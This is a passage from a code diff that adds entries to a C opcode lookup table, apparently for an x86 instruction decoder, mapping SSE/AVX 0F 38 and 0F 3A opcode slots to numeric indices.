0, + /* 1037 - */ 0, + /* 1038 - */ 0, + /* 1039 - _66_0F_38_10 */ 0x40ea, + /* 103a - */ 0, + /* 103b - */ 0, + /* 103c - */ 0, + /* 103d - */ 0, + /* 103e - */ 0, + /* 103f - */ 0, + /* 1040 - */ 0, + /* 1041 - */ 0, + /* 1042 - */ 0, + /* 1043 - */ 0, + /* 1044 - */ 0, + /* 1045 - _66_0F_38_14 */ 0x40eb, + /* 1046 - */ 0, + /* 1047 - */ 0, + /* 1048 - */ 0, + /* 1049 - */ 0, + /* 104a - */ 0, + /* 104b - */ 0, + /* 104c - */ 0, + /* 104d - */ 0, + /* 104e - */ 0, + /* 104f - */ 0, + /* 1050 - */ 0, + /* 1051 - _66_0F_38_15 */ 0x40ec, + /* 1052 - */ 0, + /* 1053 - */ 0, + /* 1054 - */ 0, + /* 1055 - */ 0, + /* 1056 - */ 0, + /* 1057 - */ 0, + /* 1058 - */ 0, + /* 1059 - */ 0, + /* 105a - */ 0, + /* 105b - */ 0, + /* 105c - */ 0, + /* 105d - _66_0F_38_17 */ 0x2495, + /* 105e - */ 0, + /* 105f - */ 0, + /* 1060 - */ 0, + /* 1061 - _V_66_0F_38_17 */ 0x40ed, + /* 1062 - */ 0, + /* 1063 - */ 0, + /* 1064 - */ 0, + /* 1065 - */ 0, + /* 1066 - */ 0, + /* 1067 - */ 0, + /* 1068 - */ 0, + /* 1069 - */ 0, + /* 106a - */ 0, + /* 106b - */ 0, + /* 106c - */ 0, + /* 106d - _V_66_0F_38_18 */ 0x40ee, + /* 106e - */ 0, + /* 106f - */ 0, + /* 1070 - */ 0, + /* 1071 - */ 0, + /* 1072 - */ 0, + /* 1073 - */ 0, + /* 1074 - */ 0, + /* 1075 - */ 0, + /* 1076 - */ 0, + /* 1077 - */ 0, + /* 1078 - */ 0, + /* 1079 - _V_66_0F_38_19 */ 0x40ef, + /* 107a - */ 0, + /* 107b - */ 0, + /* 107c - */ 0, + /* 107d - */ 0, + /* 107e - */ 0, + /* 107f - */ 0, + /* 1080 - */ 0, + /* 1081 - */ 0, + /* 1082 - */ 0, + /* 1083 - */ 0, + /* 1084 - */ 0, + /* 1085 - _V_66_0F_38_1A */ 0x40f0, + /* 1086 - */ 0, + /* 1087 - */ 0, + /* 1088 - */ 0, + /* 1089 - */ 0, + /* 108a - */ 0, + /* 108b - */ 0, + /* 108c - _0F_38_1C */ 0x2496, + /* 108d - _66_0F_38_1C */ 0x2497, + /* 108e - */ 0, + /* 108f - */ 0, + /* 1090 - */ 0, + /* 1091 - _V_66_0F_38_1C */ 0x40f1, + /* 1092 - */ 0, + /* 1093 - */ 0, + /* 1094 - */ 0, + /* 1095 - */ 0, + /* 1096 - */ 0, + /* 1097 - */ 0, + /* 1098 - _0F_38_1D */ 0x2498, + /* 1099 - _66_0F_38_1D */ 0x2499, + /* 109a - */ 0, + /* 109b - */ 0, + /* 109c - */ 0, + /* 109d - _V_66_0F_38_1D */ 0x40f2, + /* 109e - */ 0, + /* 109f - */ 0, + /* 10a0 - */ 0, + /* 10a1 - */ 0, + /* 10a2 - */ 0, + /* 10a3 - */ 0, + /* 10a4 - _0F_38_1E */ 0x249a, + /* 10a5 - _66_0F_38_1E */ 0x249b, + /* 10a6 - */ 0, + /* 10a7 - */ 0, + /* 10a8 - */ 0, + /* 10a9 - _V_66_0F_38_1E */ 0x40f3, + /* 10aa - */ 0, + /* 10ab - */ 0, + /* 10ac - */ 0, + /* 10ad - */ 0, + /* 10ae - */ 0, + /* 10af - */ 0, + /* 10b0 - */ 0, + /* 10b1 - _66_0F_38_20 */ 0x249c, + /* 10b2 - */ 0, + /* 10b3 - */ 0, + /* 10b4 - */ 0, + /* 10b5 - _V_66_0F_38_20 */ 0x40f4, + /* 10b6 - */ 0, + /* 10b7 - */ 0, + /* 10b8 - */ 0, + /* 10b9 - */ 0, + /* 10ba - */ 0, + /* 10bb - */ 0, + /* 10bc - */ 0, + /* 10bd - _66_0F_38_21 */ 0x249d, + /* 10be - */ 0, + /* 10bf - */ 0, + /* 10c0 - */ 0, + /* 10c1 - _V_66_0F_38_21 */ 0x40f5, + /* 10c2 - */ 0, + /* 10c3 - */ 0, + /* 10c4 - */ 0, + /* 10c5 - */ 0, + /* 10c6 - */ 0, + /* 10c7 - */ 0, + /* 10c8 - */ 0, + /* 10c9 - _66_0F_38_22 */ 0x249e, + /* 10ca - */ 0, + /* 10cb - */ 0, + /* 10cc - */ 0, + /* 10cd - _V_66_0F_38_22 */ 0x40f6, + /* 10ce - */ 0, + /* 10cf - */ 0, + /* 10d0 - */ 0, + /* 10d1 - */ 0, + /* 10d2 - */ 0, + /* 10d3 - */ 0, + /* 10d4 - */ 0, + /* 10d5 - _66_0F_38_23 */ 0x249f, + /* 10d6 - */ 0, + /* 10d7 - */ 0, + /* 10d8 - */ 0, + /* 10d9 - _V_66_0F_38_23 */ 0x40f7, + /* 10da - */ 0, + /* 10db - */ 0, + /* 10dc - */ 0, + /* 10dd - */ 0, + /* 10de - */ 0, + /* 10df - */ 0, + /* 10e0 - */ 0, + /* 10e1 - _66_0F_38_24 */ 0x24a0, + /* 10e2 - */ 0, + /* 10e3 - */ 0, + /* 10e4 - */ 0, + /* 10e5 - _V_66_0F_38_24 */ 0x40f8, + /* 10e6 - */ 0, + /* 10e7 - */ 0, + /* 10e8 - */ 0, + /* 10e9 - */ 0, + /* 10ea - */ 0, + /* 10eb - */ 0, + /* 10ec - */ 0, + /* 10ed - _66_0F_38_25 */ 0x24a1, + /* 10ee - */ 0, + /* 10ef - */ 0, + /* 10f0 - */ 0, + /* 10f1 - _V_66_0F_38_25 */ 0x40f9, + /* 10f2 - */ 0, + /* 10f3 - */ 0, + /* 10f4 - */ 0, + /* 10f5 - */ 0, + /* 10f6 - */ 0, + /* 10f7 - */ 0, + /* 10f8 - */ 0, + /* 10f9 - _66_0F_38_28 */ 0x24a2, + /* 10fa - */ 0, + /* 10fb - */ 0, + /* 10fc - */ 0, + /* 10fd - _V_66_0F_38_28 */ 0x40fa, + /* 10fe - */ 0, + /* 10ff - */ 0, + /* 1100 - */ 0, + /* 1101 - */ 0, + /* 1102 - */ 0, + /* 1103 - */ 0, + /* 1104 - */ 0, + /* 1105 - _66_0F_38_29 */ 0x24a3, + /* 1106 - */ 0, + /* 1107 - */ 0, + /* 1108 - */ 0, + /* 1109 - _V_66_0F_38_29 */ 0x40fb, + /* 110a - */ 0, + /* 110b - */ 0, + /* 110c - */ 0, + /* 110d - */ 0, + /* 110e - */ 0, + /* 110f - */ 0, + /* 1110 - */ 0, + /* 1111 - _66_0F_38_2A */ 0x24a4, + /* 1112 - */ 0, + /* 1113 - */ 0, + /* 1114 - */ 0, + /* 1115 - _V_66_0F_38_2A */ 0x40fc, + /* 1116 - */ 0, + /* 1117 - */ 0, + /* 1118 - */ 0, + /* 1119 - */ 0, + /* 111a - */ 0, + /* 111b - */ 0, + /* 111c - */ 0, + /* 111d - _66_0F_38_2B */ 0x24a5, + /* 111e - */ 0, + /* 111f - */ 0, + /* 1120 - */ 0, + /* 1121 - _V_66_0F_38_2B */ 0x40fd, + /* 1122 - */ 0, + /* 1123 - */ 0, + /* 1124 - */ 0, + /* 1125 - */ 0, + /* 1126 - */ 0, + /* 1127 - */ 0, + /* 1128 - */ 0, + /* 1129 - */ 0, + /* 112a - */ 0, + /* 112b - */ 0, + /* 112c - */ 0, + /* 112d - _V_66_0F_38_2C */ 0x40fe, + /* 112e - */ 0, + /* 112f - */ 0, + /* 1130 - */ 0, + /* 1131 - */ 0, + /* 1132 - */ 0, + /* 1133 - */ 0, + /* 1134 - */ 0, + /* 1135 - */ 0, + /* 1136 - */ 0, + /* 1137 - */ 0, + /* 1138 - */ 0, + /* 1139 - _V_66_0F_38_2D */ 0x40ff, + /* 113a - */ 0, + /* 113b - */ 0, + /* 113c - */ 0, + /* 113d - */ 0, + /* 113e - */ 0, + /* 113f - */ 0, + /* 1140 - */ 0, + /* 1141 - */ 0, + /* 1142 - */ 0, + /* 1143 - */ 0, + /* 1144 - */ 0, + /* 1145 - _V_66_0F_38_2E */ 0x4100, + /* 1146 - */ 0, + /* 1147 - */ 0, + /* 1148 - */ 0, + /* 1149 - */ 0, + /* 114a - */ 0, + /* 114b - */ 0, + /* 114c - */ 0, + /* 114d - */ 0, + /* 114e - */ 0, + /* 114f - */ 0, + /* 1150 - */ 0, + /* 1151 - _V_66_0F_38_2F */ 0x4101, + /* 1152 - */ 0, + /* 1153 - */ 0, + /* 1154 - */ 0, + /* 1155 - */ 0, + /* 1156 - */ 0, + /* 1157 - */ 0, + /* 1158 - */ 0, + /* 1159 - _66_0F_38_30 */ 0x24a6, + /* 115a - */ 0, + /* 115b - */ 0, + /* 115c - */ 0, + /* 115d - _V_66_0F_38_30 */ 0x4102, + /* 115e - */ 0, + /* 115f - */ 0, + /* 1160 - */ 0, + /* 1161 - */ 0, + /* 1162 - */ 0, + /* 1163 - */ 0, + /* 1164 - */ 0, + /* 1165 - _66_0F_38_31 */ 0x24a7, + /* 1166 - */ 0, + /* 1167 - */ 0, + /* 1168 - */ 0, + /* 1169 - _V_66_0F_38_31 */ 0x4103, + /* 116a - */ 0, + /* 116b - */ 0, + /* 116c - */ 0, + /* 116d - */ 0, + /* 116e - */ 0, + /* 116f - */ 0, + /* 1170 - */ 0, + /* 1171 - _66_0F_38_32 */ 0x24a8, + /* 1172 - */ 0, + /* 1173 - */ 0, + /* 1174 - */ 0, + /* 1175 - _V_66_0F_38_32 */ 0x4104, + /* 1176 - */ 0, + /* 1177 - */ 0, + /* 1178 - */ 0, + /* 1179 - */ 0, + /* 117a - */ 0, + /* 117b - */ 0, + /* 117c - */ 0, + /* 117d - _66_0F_38_33 */ 0x24a9, + /* 117e - */ 0, + /* 117f - */ 0, + /* 1180 - */ 0, + /* 1181 - _V_66_0F_38_33 */ 0x4105, + /* 1182 - */ 0, + /* 1183 - */ 0, + /* 1184 - */ 0, + /* 1185 - */ 0, + /* 1186 - */ 0, + /* 1187 - */ 0, + /* 1188 - */ 0, + /* 1189 - _66_0F_38_34 */ 0x24aa, + /* 118a - */ 0, + /* 118b - */ 0, + /* 118c - */ 0, + /* 118d - _V_66_0F_38_34 */ 0x4106, + /* 118e - */ 0, + /* 118f - */ 0, + /* 1190 - */ 0, + /* 1191 - */ 0, + /* 1192 - */ 0, + /* 1193 - */ 0, + /* 1194 - */ 0, + /* 1195 - _66_0F_38_35 */ 0x24ab, + /* 1196 - */ 0, + /* 1197 - */ 0, + /* 1198 - */ 0, + /* 1199 - _V_66_0F_38_35 */ 0x4107, + /* 119a - */ 0, + /* 119b - */ 0, + /* 119c - */ 0, + /* 119d - */ 0, + /* 119e - */ 0, + /* 119f - */ 0, + /* 11a0 - */ 0, + /* 11a1 - _66_0F_38_37 */ 0x24ac, + /* 11a2 - */ 0, + /* 11a3 - */ 0, + /* 11a4 - */ 0, + /* 11a5 - _V_66_0F_38_37 */ 0x4108, + /* 11a6 - */ 0, + /* 11a7 - */ 0, + /* 11a8 - */ 0, + /* 11a9 - */ 0, + /* 11aa - */ 0, + /* 11ab - */ 0, + /* 11ac - */ 0, + /* 11ad - _66_0F_38_38 */ 0x24ad, + /* 11ae - */ 0, + /* 11af - */ 0, + /* 11b0 - */ 0, + /* 11b1 - _V_66_0F_38_38 */ 0x4109, + /* 11b2 - */ 0, + /* 11b3 - */ 0, + /* 11b4 - */ 0, + /* 11b5 - */ 0, + /* 11b6 - */ 0, + /* 11b7 - */ 0, + /* 11b8 - */ 0, + /* 11b9 - _66_0F_38_39 */ 0x24ae, + /* 11ba - */ 0, + /* 11bb - */ 0, + /* 11bc - */ 0, + /* 11bd - _V_66_0F_38_39 */ 0x410a, + /* 11be - */ 0, + /* 11bf - */ 0, + /* 11c0 - */ 0, + /* 11c1 - */ 0, + /* 11c2 - */ 0, + /* 11c3 - */ 0, + /* 11c4 - */ 0, + /* 11c5 - _66_0F_38_3A */ 0x24af, + /* 11c6 - */ 0, + /* 11c7 - */ 0, + /* 11c8 - */ 0, + /* 11c9 - _V_66_0F_38_3A */ 0x410b, + /* 11ca - */ 0, + /* 11cb - */ 0, + /* 11cc - */ 0, + /* 11cd - */ 0, + /* 11ce - */ 0, + /* 11cf - */ 0, + /* 11d0 - */ 0, + /* 11d1 - _66_0F_38_3B */ 0x24b0, + /* 11d2 - */ 0, + /* 11d3 - */ 0, + /* 11d4 - */ 0, + /* 11d5 - _V_66_0F_38_3B */ 0x410c, + /* 11d6 - */ 0, + /* 11d7 - */ 0, + /* 11d8 - */ 0, + /* 11d9 - */ 0, + /* 11da - */ 0, + /* 11db - */ 0, + /* 11dc - */ 0, + /* 11dd - _66_0F_38_3C */ 0x24b1, + /* 11de - */ 0, + /* 11df - */ 0, + /* 11e0 - */ 0, + /* 11e1 - _V_66_0F_38_3C */ 0x410d, + /* 11e2 - */ 0, + /* 11e3 - */ 0, + /* 11e4 - */ 0, + /* 11e5 - */ 0, + /* 11e6 - */ 0, + /* 11e7 - */ 0, + /* 11e8 - */ 0, + /* 11e9 - _66_0F_38_3D */ 0x24b2, + /* 11ea - */ 0, + /* 11eb - */ 0, + /* 11ec - */ 0, + /* 11ed - _V_66_0F_38_3D */ 0x410e, + /* 11ee - */ 0, + /* 11ef - */ 0, + /* 11f0 - */ 0, + /* 11f1 - */ 0, + /* 11f2 - */ 0, + /* 11f3 - */ 0, + /* 11f4 - */ 0, + /* 11f5 - _66_0F_38_3E */ 0x24b3, + /* 11f6 - */ 0, + /* 11f7 - */ 0, + /* 11f8 - */ 0, + /* 11f9 - _V_66_0F_38_3E */ 0x410f, + /* 11fa - */ 0, + /* 11fb - */ 0, + /* 11fc - */ 0, + /* 11fd - */ 0, + /* 11fe - */ 0, + /* 11ff - */ 0, + /* 1200 - */ 0, + /* 1201 - _66_0F_38_3F */ 0x24b4, + /* 1202 - */ 0, + /* 1203 - */ 0, + /* 1204 - */ 0, + /* 1205 - _V_66_0F_38_3F */ 0x4110, + /* 1206 - */ 0, + /* 1207 - */ 0, + /* 1208 - */ 0, + /* 1209 - */ 0, + /* 120a - */ 0, + /* 120b - */ 0, + /* 120c - */ 0, + /* 120d - _66_0F_38_40 */ 0x24b5, + /* 120e - */ 0, + /* 120f - */ 0, + /* 1210 - */ 0, + /* 1211 - _V_66_0F_38_40 */ 0x4111, + /* 1212 - */ 0, + /* 1213 - */ 0, + /* 1214 - */ 0, + /* 1215 - */ 0, + /* 1216 - */ 0, + /* 1217 - */ 0, + /* 1218 - */ 0, + /* 1219 - _66_0F_38_41 */ 0x24b6, + /* 121a - */ 0, + /* 121b - */ 0, + /* 121c - */ 0, + /* 121d - _V_66_0F_38_41 */ 0x4112, + /* 121e - */ 0, + /* 121f - */ 0, + /* 1220 - */ 0, + /* 1221 - */ 0, + /* 1222 - */ 0, + /* 1223 - */ 0, + /* 1224 - */ 0, + /* 1225 - _66_0F_38_80 */ 0x24b7, + /* 1226 - */ 0, + /* 1227 - */ 0, + /* 1228 - */ 0, + /* 1229 - */ 0, + /* 122a - */ 0, + /* 122b - */ 0, + /* 122c - */ 0, + /* 122d - */ 0, + /* 122e - */ 0, + /* 122f - */ 0, + /* 1230 - */ 0, + /* 1231 - _66_0F_38_81 */ 0x24b8, + /* 1232 - */ 0, + /* 1233 - */ 0, + /* 1234 - */ 0, + /* 1235 - */ 0, + /* 1236 - */ 0, + /* 1237 - */ 0, + /* 1238 - */ 0, + /* 1239 - */ 0, + /* 123a - */ 0, + /* 123b - */ 0, + /* 123c - */ 0, + /* 123d - _66_0F_38_82 */ 0x24b9, + /* 123e - */ 0, + /* 123f - */ 0, + /* 1240 - */ 0, + /* 1241 - */ 0, + /* 1242 - */ 0, + /* 1243 - */ 0, + /* 1244 - */ 0, + /* 1245 - */ 0, + /* 1246 - */ 0, + /* 1247 - */ 0, + /* 1248 - */ 0, + /* 1249 - */ 0, + /* 124a - */ 0, + /* 124b - */ 0, + /* 124c - */ 0, + /* 124d - _V_66_0F_38_96 */ 0x4113, + /* 124e - */ 0, + /* 124f - */ 0, + /* 1250 - */ 0, + /* 1251 - */ 0, + /* 1252 - */ 0, + /* 1253 - */ 0, + /* 1254 - */ 0, + /* 1255 - */ 0, + /* 1256 - */ 0, + /* 1257 - */ 0, + /* 1258 - */ 0, + /* 1259 - _V_66_0F_38_97 */ 0x4114, + /* 125a - */ 0, + /* 125b - */ 0, + /* 125c - */ 0, + /* 125d - */ 0, + /* 125e - */ 0, + /* 125f - */ 0, + /* 1260 - */ 0, + /* 1261 - */ 0, + /* 1262 - */ 0, + /* 1263 - */ 0, + /* 1264 - */ 0, + /* 1265 - _V_66_0F_38_98 */ 0x4115, + /* 1266 - */ 0, + /* 1267 - */ 0, + /* 1268 - */ 0, + /* 1269 - */ 0, + /* 126a - */ 0, + /* 126b - */ 0, + /* 126c - */ 0, + /* 126d - */ 0, + /* 126e - */ 0, + /* 126f - */ 0, + /* 1270 - */ 0, + /* 1271 - _V_66_0F_38_99 */ 0x4116, + /* 1272 - */ 0, + /* 1273 - */ 0, + /* 1274 - */ 0, + /* 1275 - */ 0, + /* 1276 - */ 0, + /* 1277 - */ 0, + /* 1278 - */ 0, + /* 1279 - */ 0, + /* 127a - */ 0, + /* 127b - */ 0, + /* 127c - */ 0, + /* 127d - _V_66_0F_38_9A */ 0x4117, + /* 127e - */ 0, + /* 127f - */ 0, + /* 1280 - */ 0, + /* 1281 - */ 0, + /* 1282 - */ 0, + /* 1283 - */ 0, + /* 1284 - */ 0, + /* 1285 - */ 0, + /* 1286 - */ 0, + /* 1287 - */ 0, + /* 1288 - */ 0, + /* 1289 - _V_66_0F_38_9B */ 0x4118, + /* 128a - */ 0, + /* 128b - */ 0, + /* 128c - */ 0, + /* 128d - */ 0, + /* 128e - */ 0, + /* 128f - */ 0, + /* 1290 - */ 0, + /* 1291 - */ 0, + /* 1292 - */ 0, + /* 1293 - */ 0, + /* 1294 - */ 0, + /* 1295 - _V_66_0F_38_9C */ 0x4119, + /* 1296 - */ 0, + /* 1297 - */ 0, + /* 1298 - */ 0, + /* 1299 - */ 0, + /* 129a - */ 0, + /* 129b - */ 0, + /* 129c - */ 0, + /* 129d - */ 0, + /* 129e - */ 0, + /* 129f - */ 0, + /* 12a0 - */ 0, + /* 12a1 - _V_66_0F_38_9D */ 0x411a, + /* 12a2 - */ 0, + /* 12a3 - */ 0, + /* 12a4 - */ 0, + /* 12a5 - */ 0, + /* 12a6 - */ 0, + /* 12a7 - */ 0, + /* 12a8 - */ 0, + /* 12a9 - */ 0, + /* 12aa - */ 0, + /* 12ab - */ 0, + /* 12ac - */ 0, + /* 12ad - _V_66_0F_38_9E */ 0x411b, + /* 12ae - */ 0, + /* 12af - */ 0, + /* 12b0 - */ 0, + /* 12b1 - */ 0, + /* 12b2 - */ 0, + /* 12b3 - */ 0, + /* 12b4 - */ 0, + /* 12b5 - */ 0, + /* 12b6 - */ 0, + /* 12b7 - */ 0, + /* 12b8 - */ 0, + /* 12b9 - _V_66_0F_38_9F */ 0x411c, + /* 12ba - */ 0, + /* 12bb - */ 0, + /* 12bc - */ 0, + /* 12bd - */ 0, + /* 12be - */ 0, + /* 12bf - */ 0, + /* 12c0 - */ 0, + /* 12c1 - */ 0, + /* 12c2 - */ 0, + /* 12c3 - */ 0, + /* 12c4 - */ 0, + /* 12c5 - _V_66_0F_38_A6 */ 0x411d, + /* 12c6 - */ 0, + /* 12c7 - */ 0, + /* 12c8 - */ 0, + /* 12c9 - */ 0, + /* 12ca - */ 0, + /* 12cb - */ 0, + /* 12cc - */ 0, + /* 12cd - */ 0, + /* 12ce - */ 0, + /* 12cf - */ 0, + /* 12d0 - */ 0, + /* 12d1 - _V_66_0F_38_A7 */ 0x411e, + /* 12d2 - */ 0, + /* 12d3 - */ 0, + /* 12d4 - */ 0, + /* 12d5 - */ 0, + /* 12d6 - */ 0, + /* 12d7 - */ 0, + /* 12d8 - */ 0, + /* 12d9 - */ 0, + /* 12da - */ 0, + /* 12db - */ 0, + /* 12dc - */ 0, + /* 12dd - _V_66_0F_38_A8 */ 0x411f, + /* 12de - */ 0, + /* 12df - */ 0, + /* 12e0 - */ 0, + /* 12e1 - */ 0, + /* 12e2 - */ 0, + /* 12e3 - */ 0, + /* 12e4 - */ 0, + /* 12e5 - */ 0, + /* 12e6 - */ 0, + /* 12e7 - */ 0, + /* 12e8 - */ 0, + /* 12e9 - _V_66_0F_38_A9 */ 0x4120, + /* 12ea - */ 0, + /* 12eb - */ 0, + /* 12ec - */ 0, + /* 12ed - */ 0, + /* 12ee - */ 0, + /* 12ef - */ 0, + /* 12f0 - */ 0, + /* 12f1 - */ 0, + /* 12f2 - */ 0, + /* 12f3 - */ 0, + /* 12f4 - */ 0, + /* 12f5 - _V_66_0F_38_AA */ 0x4121, + /* 12f6 - */ 0, + /* 12f7 - */ 0, + /* 12f8 - */ 0, + /* 12f9 - */ 0, + /* 12fa - */ 0, + /* 12fb - */ 0, + /* 12fc - */ 0, + /* 12fd - */ 0, + /* 12fe - */ 0, + /* 12ff - */ 0, + /* 1300 - */ 0, + /* 1301 - _V_66_0F_38_AB */ 0x4122, + /* 1302 - */ 0, + /* 1303 - */ 0, + /* 1304 - */ 0, + /* 1305 - */ 0, + /* 1306 - */ 0, + /* 1307 - */ 0, + /* 1308 - */ 0, + /* 1309 - */ 0, + /* 130a - */ 0, + /* 130b - */ 0, + /* 130c - */ 0, + /* 130d - _V_66_0F_38_AC */ 0x4123, + /* 130e - */ 0, + /* 130f - */ 0, + /* 1310 - */ 0, + /* 1311 - */ 0, + /* 1312 - */ 0, + /* 1313 - */ 0, + /* 1314 - */ 0, + /* 1315 - */ 0, + /* 1316 - */ 0, + /* 1317 - */ 0, + /* 1318 - */ 0, + /* 1319 - _V_66_0F_38_AD */ 0x4124, + /* 131a - */ 0, + /* 131b - */ 0, + /* 131c - */ 0, + /* 131d - */ 0, + /* 131e - */ 0, + /* 131f - */ 0, + /* 1320 - */ 0, + /* 1321 - */ 0, + /* 1322 - */ 0, + /* 1323 - */ 0, + /* 1324 - */ 0, + /* 1325 - _V_66_0F_38_AE */ 0x4125, + /* 1326 - */ 0, + /* 1327 - */ 0, + /* 1328 - */ 0, + /* 1329 - */ 0, + /* 132a - */ 0, + /* 132b - */ 0, + /* 132c - */ 0, + /* 132d - */ 0, + /* 132e - */ 0, + /* 132f - */ 0, + /* 1330 - */ 0, + /* 1331 - _V_66_0F_38_AF */ 0x4126, + /* 1332 - */ 0, + /* 1333 - */ 0, + /* 1334 - */ 0, + /* 1335 - */ 0, + /* 1336 - */ 0, + /* 1337 - */ 0, + /* 1338 - */ 0, + /* 1339 - */ 0, + /* 133a - */ 0, + /* 133b - */ 0, + /* 133c - */ 0, + /* 133d - _V_66_0F_38_B6 */ 0x4127, + /* 133e - */ 0, + /* 133f - */ 0, + /* 1340 - */ 0, + /* 1341 - */ 0, + /* 1342 - */ 0, + /* 1343 - */ 0, + /* 1344 - */ 0, + /* 1345 - */ 0, + /* 1346 - */ 0, + /* 1347 - */ 0, + /* 1348 - */ 0, + /* 1349 - _V_66_0F_38_B7 */ 0x4128, + /* 134a - */ 0, + /* 134b - */ 0, + /* 134c - */ 0, + /* 134d - */ 0, + /* 134e - */ 0, + /* 134f - */ 0, + /* 1350 - */ 0, + /* 1351 - */ 0, + /* 1352 - */ 0, + /* 1353 - */ 0, + /* 1354 - */ 0, + /* 1355 - _V_66_0F_38_B8 */ 0x4129, + /* 1356 - */ 0, + /* 1357 - */ 0, + /* 1358 - */ 0, + /* 1359 - */ 0, + /* 135a - */ 0, + /* 135b - */ 0, + /* 135c - */ 0, + /* 135d - */ 0, + /* 135e - */ 0, + /* 135f - */ 0, + /* 1360 - */ 0, + /* 1361 - _V_66_0F_38_B9 */ 0x412a, + /* 1362 - */ 0, + /* 1363 - */ 0, + /* 1364 - */ 0, + /* 1365 - */ 0, + /* 1366 - */ 0, + /* 1367 - */ 0, + /* 1368 - */ 0, + /* 1369 - */ 0, + /* 136a - */ 0, + /* 136b - */ 0, + /* 136c - */ 0, + /* 136d - _V_66_0F_38_BA */ 0x412b, + /* 136e - */ 0, + /* 136f - */ 0, + /* 1370 - */ 0, + /* 1371 - */ 0, + /* 1372 - */ 0, + /* 1373 - */ 0, + /* 1374 - */ 0, + /* 1375 - */ 0, + /* 1376 - */ 0, + /* 1377 - */ 0, + /* 1378 - */ 0, + /* 1379 - _V_66_0F_38_BB */ 0x412c, + /* 137a - */ 0, + /* 137b - */ 0, + /* 137c - */ 0, + /* 137d - */ 0, + /* 137e - */ 0, + /* 137f - */ 0, + /* 1380 - */ 0, + /* 1381 - */ 0, + /* 1382 - */ 0, + /* 1383 - */ 0, + /* 1384 - */ 0, + /* 1385 - _V_66_0F_38_BC */ 0x412d, + /* 1386 - */ 0, + /* 1387 - */ 0, + /* 1388 - */ 0, + /* 1389 - */ 0, + /* 138a - */ 0, + /* 138b - */ 0, + /* 138c - */ 0, + /* 138d - */ 0, + /* 138e - */ 0, + /* 138f - */ 0, + /* 1390 - */ 0, + /* 1391 - _V_66_0F_38_BD */ 0x412e, + /* 1392 - */ 0, + /* 1393 - */ 0, + /* 1394 - */ 0, + /* 1395 - */ 0, + /* 1396 - */ 0, + /* 1397 - */ 0, + /* 1398 - */ 0, + /* 1399 - */ 0, + /* 139a - */ 0, + /* 139b - */ 0, + /* 139c - */ 0, + /* 139d - _V_66_0F_38_BE */ 0x412f, + /* 139e - */ 0, + /* 139f - */ 0, + /* 13a0 - */ 0, + /* 13a1 - */ 0, + /* 13a2 - */ 0, + /* 13a3 - */ 0, + /* 13a4 - */ 0, + /* 13a5 - */ 0, + /* 13a6 - */ 0, + /* 13a7 - */ 0, + /* 13a8 - */ 0, + /* 13a9 - _V_66_0F_38_BF */ 0x4130, + /* 13aa - */ 0, + /* 13ab - */ 0, + /* 13ac - */ 0, + /* 13ad - */ 0, + /* 13ae - */ 0, + /* 13af - */ 0, + /* 13b0 - */ 0, + /* 13b1 - _66_0F_38_DB */ 0x24ba, + /* 13b2 - */ 0, + /* 13b3 - */ 0, + /* 13b4 - */ 0, + /* 13b5 - _V_66_0F_38_DB */ 0x4131, + /* 13b6 - */ 0, + /* 13b7 - */ 0, + /* 13b8 - */ 0, + /* 13b9 - */ 0, + /* 13ba - */ 0, + /* 13bb - */ 0, + /* 13bc - */ 0, + /* 13bd - _66_0F_38_DC */ 0x24bb, + /* 13be - */ 0, + /* 13bf - */ 0, + /* 13c0 - */ 0, + /* 13c1 - _V_66_0F_38_DC */ 0x4132, + /* 13c2 - */ 0, + /* 13c3 - */ 0, + /* 13c4 - */ 0, + /* 13c5 - */ 0, + /* 13c6 - */ 0, + /* 13c7 - */ 0, + /* 13c8 - */ 0, + /* 13c9 - _66_0F_38_DD */ 0x24bc, + /* 13ca - */ 0, + /* 13cb - */ 0, + /* 13cc - */ 0, + /* 13cd - _V_66_0F_38_DD */ 0x4133, + /* 13ce - */ 0, + /* 13cf - */ 0, + /* 13d0 - */ 0, + /* 13d1 - */ 0, + /* 13d2 - */ 0, + /* 13d3 - */ 0, + /* 13d4 - */ 0, + /* 13d5 - _66_0F_38_DE */ 0x24bd, + /* 13d6 - */ 0, + /* 13d7 - */ 0, + /* 13d8 - */ 0, + /* 13d9 - _V_66_0F_38_DE */ 0x4134, + /* 13da - */ 0, + /* 13db - */ 0, + /* 13dc - */ 0, + /* 13dd - */ 0, + /* 13de - */ 0, + /* 13df - */ 0, + /* 13e0 - */ 0, + /* 13e1 - _66_0F_38_DF */ 0x24be, + /* 13e2 - */ 0, + /* 13e3 - */ 0, + /* 13e4 - */ 0, + /* 13e5 - _V_66_0F_38_DF */ 0x4135, + /* 13e6 - */ 0, + /* 13e7 - */ 0, + /* 13e8 - */ 0, + /* 13e9 - */ 0, + /* 13ea - */ 0, + /* 13eb - */ 0, + /* 13ec - _0F_38_F0 */ 0x24bf, + /* 13ed - */ 0, + /* 13ee - */ 0, + /* 13ef - _F2_0F_38_F0 */ 0x24c0, + /* 13f0 - */ 0, + /* 13f1 - */ 0, + /* 13f2 - */ 0, + /* 13f3 - */ 0, + /* 13f4 - */ 0, + /* 13f5 - */ 0, + /* 13f6 - */ 0, + /* 13f7 - */ 0, + /* 13f8 - _0F_38_F1 */ 0x24c1, + /* 13f9 - */ 0, + /* 13fa - */ 0, + /* 13fb - _F2_0F_38_F1 */ 0x24c2, + /* 13fc - */ 0, + /* 13fd - */ 0, + /* 13fe - */ 0, + /* 13ff - */ 0, + /* 1400 - */ 0, + /* 1401 - */ 0, + /* 1402 - */ 0, + /* 1403 - */ 0, + /* 1404 - */ 0, + /* 1405 - */ 0, + /* 1406 - */ 0, + /* 1407 - */ 0, + /* 1408 - */ 0, + /* 1409 - _V_66_0F_3A_04 */ 0x4136, + /* 140a - */ 0, + /* 140b - */ 0, + /* 140c - */ 0, + /* 140d - */ 0, + /* 140e - */ 0, + /* 140f - */ 0, + /* 1410 - */ 0, + /* 1411 - */ 0, + /* 1412 - */ 0, + /* 1413 - */ 0, + /* 1414 - */ 0, + /* 1415 - _V_66_0F_3A_05 */ 0x4137, + /* 1416 - */ 0, + /* 1417 - */ 0, + /* 1418 - */ 0, + /* 1419 - */ 0, + /* 141a - */ 0, + /* 141b - */ 0, + /* 141c - */ 0, + /* 141d - */ 0, + /* 141e - */ 0, + /* 141f - */ 0, + /* 1420 - */ 0, + /* 1421 - _V_66_0F_3A_06 */ 0x4138, + /* 1422 - */ 0, + /* 1423 - */ 0, + /* 1424 - */ 0, + /* 1425 - */ 0, + /* 1426 - */ 0, + /* 1427 - */ 0, + /* 1428 - */ 0, + /* 1429 - _66_0F_3A_08 */ 0x4139, + /* 142a - */ 0, + /* 142b - 